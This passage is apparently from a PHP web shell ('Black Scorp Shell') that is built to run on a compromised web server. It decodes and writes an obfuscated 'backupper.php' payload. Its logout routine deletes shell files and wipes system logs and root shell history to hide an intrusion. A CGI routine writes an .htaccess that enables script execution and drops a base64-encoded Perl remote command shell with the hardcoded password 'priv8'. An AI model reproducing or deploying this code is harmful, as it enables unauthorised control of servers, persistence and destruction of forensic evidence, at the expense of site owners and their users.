  877. $backupper = "rVXdTtswFL4uEu/gSVmTSpAWxsVEVMGmMXEHot0mxFDkOk7j4diZf4Ay8Qq72c3uuNkD8gizY6dNq1bjYqnUxN/5zjmfz4lPulQlE57NgFQziofd75obAKKbqeCaZbuIUy4OwYQaKPGLu4IonICcM7Wbw5LQ2SFAWkhy26CSPOBDsLc/eJ24iN2pSra3uiYZwkxhsViXWEGACigkVj79p/HH3berfsUb+3zJNfgCGYNgpKBQYFxg8N5I0xU4y+vVyGgDR8C69J2P8z+qimp7CwvBRSpwxYUibBoNesZ8tGDlXJQAIkU482LcPzAyC5557PxsNG7r61hXwiqtgJpVTRWlnpREeX8Gy7X4LaS6MVzqc4+2m/GSom9qWLsZg3kzQH+x4b7d8WqVOrlmdQ3AOzZgUUBYD/wwMDBXwM0uhyAMEw+QPGroKb4nUskoxPcYhb2Fk72OLWhj7dgQvaRl8jGPv3HCIqfxK3P3ZfIjphKvS1hBKVUh9GpSPkmlfVGipXzHDb3e2holxm2KVYoohiz6d3Y5kwqXL8ztyP8rc4EpTdeV28dbEJYyNgGJNIdBci0QjoLc9qDiFa5bvuMaINyttz58+4y0d2PeVoqjV8c55rkJ3Ou1bHP3eAhygWFmCDt7g/2DpXpUiHJpRS00+7vASgtWh7AmA5t/kgOzGTNDoiC1x/MqdMcsvPbCO4G0k2EIgnR0cvH55OIqPB2Pz9NTQw6vk5pRQVUYhmkAustc9TsBlJktTG2Mw37oUArtb1O4OIwfSOWpiJclZNm8WigDcZwYO6j0hBKUFqqkSXnbXlp3T49r4bFfGNxSG5OT4Y1z1Er2mM3WTkPlOtaigZ3AvA+a2t66s+/Vu2JgVHAQ1uP4wA6ND5xh8Pz059fz0++fbuTWuH2c1EM+XPGDwByJ6XzUp2ZOsZvNU0/gbMPM8z6FwPkw9JsJm9yNujtGOcxWhPXhXNjj0vDvr36b+vbLaJd/AQ==";
  878. $back = @fopen("backupper.php", "w");
  879. @fwrite($back, htmlspecialchars_decode(gzinflate(base64_decode($backupper))));
  880. @fclose($back);
  881. ?>
  882. <center>
  883. <h1>Site Backupper </h1><br>
  884. <iframe src="backupper.php" height="300" width="100%"></iframe>
  885.  
  886. <?php
  887.  
  888. printFooter();
  889. }
  890.  
  891. function actionLogout() {
  892. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  893. $hardfucker = "rm -rv locales.php;rm -rv cgi.php;rm -rv dirty;rm -rv exploit;rm -rv kill;rm -rv c0w;rm -rv article.php;rm -rv an0n.php;rm -rv anonghosts.php;rm -rv anonghost.php;rm -rv wso.php;rm -rv umar.php;rm -rv ninja.php;rm -rv rev.php;rm -rv umar.txt;rm -rv ak.php;rm -rv symlinker.php;rm -rv trjnx;rm -rv sym.pl;rm -rv symlinker.pl;rm -rv back_connecter.php;rm -rv fuck.php;rm -rv an.php;rm -rv file.php;rm -rv sym.php;rm -rv symlink.php;rm -rv trjnx;rm -rv data.txt;rm -rv fuck.txt;rm -rv dir.txt;rm -rv dmn.txt;rm -rv lala.php;rm -rv test.php;rm -rv data.php;rm -rv fucker.php;rm -rv symlinker.php;rm -rv madleets.php;rm -rv dirdefacer.php;rm -rv dirdeface.php;rm -rv shitchanger.php;rm -rv locales.php;rm -rv data.php;rm -rv db.php;rm -rv deleter.php; rm -rv dhanush.php;rm -rv anonghosts.php;rm -rv blackhat.php;rm -rv image.php;rm -rv madspot.php;rm -rv pcd.php;rm -rv cheta.php;rm -rv b374k.php;rm -rv joker.php;rm -rv zone-h.php;rm -rv rooter.pl;rm -rv cp.php;rm -rv works.php;rm -rv lala.php;rm -rv lalala.php;rm -rv testing.php; rm -rv madleets.php;rm -rv anoncmd.php;rm -rv mass.php;rm -rv backupper.php;rm -rf /var/log/lastlog;rm -rf /var/log/wtmp;rm -rf /etc/wtmp;rm -rf /var/run/utmp;rm -rf /etc/utmp;rm -rf /var/log;rm -rf /var/logs;rm -rf /var/adm;rm -rf /var/apache/log;rm -rf /var/apache/logs;rm -rf /usr/local/apache/log;rm -rf /usr/local/apache/logs;rm -rf /root/.bash_history;rm -rf /root/.ksh_history;rm -rv xcp.php;rm -rv cp.php;rm -rv md5.php;rm -rv UeXploiT;rm -rv AkDk;pb.php;priv8.php";
  894. $Black_scorpion_is_everywhere = ex($hardfucker);
  895. die('<!DOCTYPE html>
  896. <html>
  897. <head>
  898. <title>Black Scorp Shell</title>
  899. <meta charset="UTF-8">
  900. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  901. <meta name="description" content="Sites description">
  902. <meta name="about" content="Made By Black Scorp">
  903. <meta name="description" content="Bye Bye">
  904. <style>
  905. .body {
  906. margin-top: 7vh;
  907. text-transform: capitalize;
  908. background-color: #080510;
  909. }
  910. .font {
  911. font-family: calibri;
  912. font-size: 300%;
  913. text-align: center;
  914. color: white;
  915. }
  916. .upass {
  917. margin-top: 70vh;
  918. font-family: calibri;
  919. font-size: 100%;
  920. text-align: center;
  921. color: black;
  922. }
  923. textarea {
  924. color: white;
  925. font-weight: bold;
  926. font-family: cursive;
  927. border-left: black;
  928. border-right: black;
  929. border-style: groove;
  930. background-color: black;
  931. font-size: 80%;
  932. }
  933. </style>
  934. <script language="JavaScript1.2">
  935. function ejs_nodroit(){
  936. alert("Login Please!");
  937. return(false);
  938. }
  939. document.oncontextmenu = ejs_nodroit;
  940. </script>
  941. </head>
  942.  
  943. <body class="body">
  944. <div class="font">
  945. <font>you are going ????<br>bye ????????<br><br></font><font style="color: red; font-family: cursive; font-size: 70%;">Take a Gift ????<br></font><br>
  946. </div><center>
  947. <textarea rows="10" cols="90">
  948. '.$Black_scorpion_is_everywhere.'</textarea>
  949. </body></center>
  950. </html>');
  951. }
  952.  
  953.  
  954. function actionCgiShell() {
  955. printHeader();
  956. echo '<h1>Cgitelnet</h1><div class=content>';
  957. mkdir('cgitelnet1', 0755);
  958. chdir('cgitelnet1');
  959. $kokdosya = ".htaccess";
  960. $dosya_adi = "$kokdosya";
  961. $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
  962. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  963.  
  964. AddType application/x-httpd-cgi .cin
  965.  
  966. AddHandler cgi-script .cin
  967. AddHandler cgi-script .cin";
  968. fwrite($dosya, $metin);
  969. fclose($dosya);
  970. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
  971. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  972. LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
  973. cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  974. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
  975. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  976. LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
  977. IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
  978. cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  979. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
  980. b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
  981. cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
  982. dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
  983. cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
  984. biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
  985. ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
  986. bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
  987. cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
  988. DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
  989. dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
  990. ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
  991. CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
  992. ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
  993. aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
  994. cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
  995. IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
  996. dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
  997. CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
  998. IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
  999. bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
  1000. VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
  1001. ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
  1002. InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
  1003. ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
  1004. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1005. LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
  1006. ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
  1007. YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
  1008. bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
  1009. bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
  1010. aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
  1011. OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
  1012. R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1013. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
  1014. DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
  1015. Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
  1016. aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
  1017. RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
  1018. CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
  1019. U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
  1020. LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
  1021. YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
  1022. b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
  1023. ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
  1024. YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
  1025. CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
  1026. dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
  1027. ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
  1028. ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
  1029. CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
  1030. CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
  1031. Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
  1032. fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
  1033. KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
  1034. cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
  1035. bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
  1036. ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
  1037. CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
  1038. JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
  1039. ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
  1040. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1041. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
  1042. QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
  1043. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1044. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
  1045. Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
  1046. ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
  1047. dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
  1048. aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
  1049. d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
  1050. CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
  1051. aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
  1052. b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
  1053. cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
  1054. cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
  1055. dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
  1056. ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
  1057. PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
  1058. emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
  1059. NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
  1060. dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
  1061. Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
  1062. P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
  1063. b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
  1064. YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
  1065. aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
  1066. dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
  1067. PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
  1068. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1069. LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
  1070. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1071. LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
  1072. c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
  1073. ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
  1074. ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
  1075. TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
  1076. ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
  1077. RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1078. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
  1079. IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1080. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1081. LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
  1082. DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
  1083. Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1084. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
  1085. cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1086. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  1087. dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
  1088. PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
  1089. PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
  1090. Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
  1091. Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
  1092. MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
  1093. IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
  1094. DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1095. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
  1096. TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1097. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
  1098. cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1099. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1100. LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
  1101. biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
  1102. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1103. LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
  1104. KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
  1105. cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
  1106. JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1107. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
  1108. aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1109. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  1110. CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
  1111. ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
  1112. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1113. LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
  1114. IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1115. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
  1116. aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
  1117. CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
  1118. TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
